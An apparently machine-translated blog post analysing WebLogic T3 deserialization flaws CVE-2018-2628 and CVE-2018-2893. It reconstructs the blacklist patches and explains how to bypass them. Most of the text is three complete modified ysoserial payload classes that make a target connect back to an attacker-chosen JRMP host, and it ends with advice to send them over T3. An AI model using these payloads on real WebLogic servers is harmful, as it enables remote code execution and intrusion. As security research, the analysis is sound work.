Weblogic 2018-2628&2018-2893 analysis of Java Security

Hello everyone, meet again. I'm Jun Quan. I wish every programmer can learn more languages.

Weblogic 2018-2628 & 2018-2893 analysis of Java Security

0x00 Preface

Continue the deserialization vulnerability of weblogic T3 protocol, and then analyze the bypass mode of the patch. According to the weblogic patch, it is still very difficult to find. There are no patches in the later analysis, and we can't see the details of weblogic repair, but it's not difficult to guess that these weblogic repairs are the old methods, using the blacklist to repair the vulnerabilities.

0x01 patch analysis

Because I didn't get the patch, here I deduct the details of the patch from master Liao's article.

protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
   String[] arr$ = interfaces;
   int len$ = interfaces.length;
   for(int i$ = 0; i$ < len$; ++i$) {
      String intf = arr$[i$];
      if(intf.equals("java.rmi.registry.Registry")) {
         throw new InvalidObjectException("Unauthorized proxy deserialization");
      }
   }
   return super.resolveProxyClass(interfaces);
}

weblogic. rjvm. A resolveProxyClass method is added to the inboundmsgabbrev $serverchannelinputstream class, which rewrites the resolveProxyClass and adds an interface corresponding to the passed data for traversal verification. If it is Java rmi. registry. Registry will throw an exception directly. If not Java rmi. registry. Registry calls the resolveProxyClass of the parent class.

0x02 bypass train of thought

There are actually two ways to bypass on 2018-2628, namely:

  1. In the patch, only the data that needs to be deserialized is limited to Java rmi. registry. The interface of classes other than registry, but the interface of remote objects is more than Java rmi. registry. Registry is such a.

The bypass method provided by master Liao here is to replace the interface with Java rmi. activation. Activator. You can bypass it.

  1. ysoserial modification removes the Proxy part to bypass the patch. Let's consider why the Proxy can be bypassed by partially removing it?

As mentioned in the previous native readobject analysis article, readobject will go through two branches. If the object deserialized is a dynamic Proxy, it will go through the resolveProxyClass branch. The Proxy part is removed here, that is to say, it will not go into the resolveProxyClass branch if the payload is generated without dynamic Proxy for deserialization.

0x03 utilization idea

The later debugging contents are actually the same as the previous ones. Here we will talk about the use directly.

Overwrite ysoserial

Using idea 1, do not use proxy objects:

package ysoserial.payloads;


import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;

import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.util.Random;



public class JRMPClient1 extends PayloadRunner implements ObjectPayload<Object> {

    public Object getObject(final String command) throws Exception {

        String host;
        int port;
        int sep = command.indexOf(':');
        if (sep < 0) {
            port = new Random().nextInt(65535);
            host = command;
        } else {
            host = command.substring(0, sep);
            port = Integer.valueOf(command.substring(sep + 1));
        }
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        return ref;
    }


    public static void main ( final String[] args ) throws Exception {
        Thread.currentThread().setContextClassLoader(JRMPClient1.class.getClassLoader());
        PayloadRunner.run(JRMPClient1.class, args);
    }
}

Make a small change to JRMPClient.

Using mode 2, modify the remote interface to Java rmi. activation. Activator:

package ysoserial.payloads;


import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;

import java.lang.reflect.Proxy;
import java.rmi.activation.Activator;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;


@PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient2 extends PayloadRunner implements ObjectPayload<Activator> {

    public Activator getObject (final String command ) throws Exception {

        String host;
        int port;
        int sep = command.indexOf(':');
        if ( sep < 0 ) {
            port = new Random().nextInt(65535);
            host = command;
        }
        else {
            host = command.substring(0, sep);
            port = Integer.valueOf(command.substring(sep + 1));
        }
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
        Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient2.class.getClassLoader(), new Class[] {
            Activator.class
        }, obj);
        return proxy;
    }


    public static void main ( final String[] args ) throws Exception {
        Thread.currentThread().setContextClassLoader(JRMPClient2.class.getClassLoader());
        PayloadRunner.run(JRMPClient2.class, args);
    }
}

0x04 CVE-2018-2893

CVE-2018-2893 bypasses CVE2018-2628. Let's check the patch details of CVE-2018-2628 first

private static final String[] DEFAULT_BLACKLIST_CLASSES = new String[]{"org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "sun.rmi.server.UnicastRef"};

Overwrite ysoserial

The utilization method here is to encapsulate the remote gadget object into the streamMessageImpl class, which is the same as CVE-2016-0638, but the gadget of JRMPClient is used here.

When rewriting, we need to pay attention to several details. There is no streamMessageImpl class in the JDK. Here, we need to copy some codes of weblogic that depend on jar packages and classes. This is about weblogic_ Part of the contents of CMD are deducted and put into yso.

package ysoserial.payloads;


import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import weblogic.jms.common.StreamMessageImpl;
import ysoserial.Serializer;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;

import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;


@SuppressWarnings ( {
    "restriction"
} )
@PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient3 extends PayloadRunner implements ObjectPayload<Object> {

    public Object streamMessageImpl(byte[] object) {
        StreamMessageImpl streamMessage = new StreamMessageImpl();
        streamMessage.setDataBuffer(object, object.length);
        return streamMessage;
    }

    public Object getObject (final String command ) throws Exception {
        String host;
        int port;
        int sep = command.indexOf(':');
        if (sep < 0) {
            port = new Random().nextInt(65535);
            host = command;
        }
        else {
            host = command.substring(0, sep);
            port = Integer.valueOf(command.substring(sep + 1));
        }
        ObjID objID = new ObjID(new Random().nextInt());
        TCPEndpoint tcpEndpoint = new TCPEndpoint(host, port);
        UnicastRef unicastRef = new UnicastRef(new LiveRef(objID, tcpEndpoint, false));
        RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler(unicastRef);
        Object object = Proxy.newProxyInstance(JRMPClient3.class.getClassLoader(), new Class[] { Registry.class }, remoteObjectInvocationHandler);
        return streamMessageImpl(Serializer.serialize(object));
    }


    public static void main ( final String[] args ) throws Exception {
        Thread.currentThread().setContextClassLoader(JRMPClient3.class.getClassLoader());
        PayloadRunner.run(JRMPClient3.class, args);
    }
}

Reference articles

Deserialization and bypass analysis of Weblogic JRMP

Reverse sequence analysis of CVE-2017-3248, CVE-2018-2628,CVE-2018-2893 and CVE-2018-3245 of weblogic

0x05 nagging at the end

In fact, after knowing the bypass mode and utilization mode, make a modification from yso and package it into a jar package. Use the exp modification parameters used in the last 2017-3248, and send the payload through the T3 protocol to bypass. It's the same as the previous content, and it's the same vulnerability, so I won't repeat it here.

Publisher: full stack programmer, stack length, please indicate the source for Reprint: https://javaforall.cn/119888.html Original link: https://javaforall.cn

Added by Dizzee15 on Mon, 13 Dec 2021 04:45:34 +0200